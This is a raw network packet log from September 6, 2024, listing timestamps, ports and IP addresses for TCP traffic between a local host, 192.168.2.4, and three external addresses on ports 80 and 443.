Sep 6, 2024 08:17:07.439044952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439052105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439078093 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439358950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439363956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439374924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439390898 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439428091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439435005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439445972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439461946 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439487934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439487934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439594984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439600945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439809084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439814091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439825058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439881086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439887047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439897060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439902067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439908028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439913988 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439927101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439948082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439948082 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.439981937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.439987898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440000057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440006018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440030098 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440088034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440093994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440104961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440226078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440232038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440237999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440243006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440248966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440252066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440256119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440263033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440289021 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440289021 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440628052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440634012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440644026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440661907 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440670967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440695047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440701008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440712929 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440725088 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440741062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440779924 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440802097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440809011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440819025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440824986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440829992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440845966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440862894 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440862894 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440932989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440939903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440948963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440967083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.440985918 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.440992117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.441001892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.441013098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.441018105 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.441020966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.441044092 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.441044092 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.441081047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.441087008 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.441118002 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.444264889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.445060015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445066929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445076942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445166111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445171118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445177078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445213079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445229053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445234060 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445245028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445250988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445255995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445274115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445274115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445295095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445301056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445312023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445317030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445394039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445394039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445394039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445475101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445482016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445487022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445535898 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445568085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445573092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445585966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445617914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445624113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445631027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445636034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445656061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445671082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445677042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445714951 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445781946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445789099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445800066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445811033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445817947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445828915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445835114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445842981 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445842981 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445842981 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445866108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445872068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445882082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445889950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445897102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445898056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445898056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445908070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445933104 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.445955038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445960999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445966959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.445971012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.446007967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.446007967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.446007967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447290897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447298050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447309017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447314024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447325945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447371006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447376966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447380066 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447380066 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447392941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447412014 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447443962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447454929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447460890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447473049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447484016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447491884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447496891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447499037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447509050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447530031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447532892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447532892 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447535992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447541952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447575092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447588921 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447590113 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.447613955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447619915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447626114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.447630882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448020935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448033094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448040009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448044062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448055029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448065996 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.448086023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448097944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448103905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.448124886 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.448163033 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.448163033 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.450249910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450289965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450402975 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450407982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450417995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450432062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450438976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450448990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.450469017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.452697039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452702045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452733040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.452764988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452769995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452775955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452781916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452805996 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.452826023 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.452842951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452848911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452888012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.452967882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.452996016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453002930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453008890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453036070 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453061104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453067064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453078032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453083038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453110933 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453139067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453144073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453155041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453174114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453176022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453182936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453195095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453200102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453206062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453212976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453234911 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453265905 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453265905 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453675032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453689098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453696966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453741074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453746080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453752041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453782082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.453929901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453937054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.453984022 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.456269026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.458059072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458065033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458076954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458089113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458096027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458106995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458112001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.458129883 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.458178997 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.458729029 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.458746910 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.458992958 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459017038 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459032059 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459041119 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459055901 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459073067 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459152937 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459387064 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459403038 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459462881 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459467888 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459477901 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459554911 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459794044 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459809065 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459837914 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.459841967 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.459871054 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460072041 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460094929 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460108995 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460113049 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460128069 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460448027 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460463047 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460479021 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460489035 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460515022 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460813999 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460838079 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460844994 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460848093 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.460875034 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460915089 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.460915089 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.461273909 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.461287975 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.462872028 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.462877989 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.469546080 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.479163885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479171038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479182005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479223967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479229927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479242086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479247093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.479260921 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.479408026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.504853010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.504858971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.504869938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.504877090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.504882097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.504893064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.504940987 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.505110979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.505115986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.505161047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.506714106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.509705067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509763956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509769917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509780884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509787083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509793043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509804010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509818077 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.509818077 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.509913921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509921074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509927034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509932995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509943008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509949923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.509952068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509955883 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.509965897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.509979963 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.509980917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510016918 CEST	49733	80	192.168.2.4	147.45.44.104
